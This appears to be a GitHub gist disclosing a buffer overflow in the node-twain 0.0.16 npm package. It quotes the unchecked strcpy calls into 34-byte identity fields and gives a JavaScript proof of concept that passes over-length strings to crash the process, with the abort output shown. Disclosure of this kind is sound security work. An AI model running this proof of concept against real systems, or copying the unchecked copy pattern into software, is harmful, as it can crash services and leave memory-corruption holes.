Skip to content

Instantly share code, notes, and snippets.

@dellalibera
Created January 15, 2024 09:23
Show Gist options
  • Save dellalibera/55b87634a6c360e5be22a715f0566c99 to your computer and use it in GitHub Desktop.
Save dellalibera/55b87634a6c360e5be22a715f0566c99 to your computer and use it in GitHub Desktop.
Buffer Overflow in node-twain@v0.0.16

Information

Package: node-twain

Tested Version: 0.0.16

GitHub Repository: https://github.com/luomusha/node-twain

Vulnerability: Buffer Overflow

Details

Creating a new twain.TwainSDK with a productName (or productFamily, manufacturer, version.info) property of length >= 34 chars leads to a buffer overflow vulnerability. The char *dest in strcpy has a length 34, and the length of the source data is not checked.

    ...
    Napi::String versionInfo = version.Get("info").As<Napi::String>();
    Napi::String productName = configure.Get("productName").As<Napi::String>();
    Napi::String productFamily = configure.Get("productFamily").As<Napi::String>();
    Napi::String manufacturer = configure.Get("manufacturer").As<Napi::String>();
    ...
    TW_IDENTITY identity;
    strcpy((char *) identity.Version.Info, versionInfo.Utf8Value().c_str());
    strcpy((char *) identity.ProductName, productName.Utf8Value().c_str());
    strcpy((char *) identity.ProductFamily, productFamily.Utf8Value().c_str());
    strcpy((char *) identity.Manufacturer, manufacturer.Utf8Value().c_str());
    ...
typedef struct {
   ....
   TW_STR32   Info;
} TW_VERSION, FAR * pTW_VERSION;

typedef struct {
    ...
    TW_VERSION 	   Version;
    ...
    TW_STR32   	   Manufacturer;
    TW_STR32   	   ProductFamily;
    TW_STR32   	   ProductName;
} TW_IDENTITY, FAR * pTW_IDENTITY;
...
typedef char          TW_STR32[34],     FAR *pTW_STR32;
...

Setup

Tested on:

Ubuntu 22.04.3 LTS
Node v18.19.0
  • install libraries and npm package
sudo apt-get install build-essential
npm i node-twain

PoC

Usage

node poc.js <poc1|poc2|poc3|poc4>
  • poc1
node poc.js poc1
Running poc1
*** buffer overflow detected ***: terminated
Aborted (core dumped)
  • poc2
node poc.js poc2
Running poc2
*** buffer overflow detected ***: terminated
Aborted (core dumped)
  • poc3
node poc.js poc3
Running poc3
*** buffer overflow detected ***: terminated
Aborted (core dumped)
  • poc4
node poc.js poc4
Running poc4
*** buffer overflow detected ***: terminated
Aborted (core dumped)

Impact

Buffer Overflow

Author

Alessio Della Libera

const twain = require("node-twain")
/*
TW_STR32 Info
TW_STR32 Manufacturer;
TW_STR32 ProductFamily;
TW_STR32 ProductName;
TW_STR32[34]
*/
const payload = "A".repeat(33 + 1);
function poc1() {
console.log("Running poc1");
const app = new twain.TwainSDK( {
productName: payload,
productFamily: "productFamily!",
manufacturer: "manufacturer!",
version: {
country: twain.TWCY_CHINA,
language: twain.TWLG_CHINESE,
majorNum: 1,
minorNum: 1,
info: "v0.0.1",
}
})
}
function poc2() {
console.log("Running poc2");
const app = new twain.TwainSDK( {
productName: "productName!",
productFamily: payload,
manufacturer: "manufacturer!",
version: {
country: twain.TWCY_CHINA,
language: twain.TWLG_CHINESE,
majorNum: 1,
minorNum: 1,
info: "v0.0.1",
}
})
}
function poc3() {
console.log("Running poc3");
const app = new twain.TwainSDK( {
productName: "productName!",
productFamily: "productFamily!",
manufacturer: payload,
version: {
country: twain.TWCY_CHINA,
language: twain.TWLG_CHINESE,
majorNum: 1,
minorNum: 1,
info: "v0.0.1",
}
})
}
function poc4() {
console.log("Running poc4");
const app = new twain.TwainSDK( {
productName: "productName!",
productFamily: "productFamily!",
manufacturer: "manufacturer!",
version: {
country: twain.TWCY_CHINA,
language: twain.TWLG_CHINESE,
majorNum: 1,
minorNum: 1,
info: payload,
}
})
}
const pocs = new Map();
pocs.set('poc1', poc1);
pocs.set('poc2', poc2);
pocs.set('poc3', poc3);
pocs.set('poc4', poc4);
function run() {
const args = process.argv.slice(2);
const p = args[0];
const poc = pocs.get(p) || poc1;
try {
poc();
} catch (e) {
console.log('Never executed')
console.log(e);
}
console.log('Never executed')
}
run();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment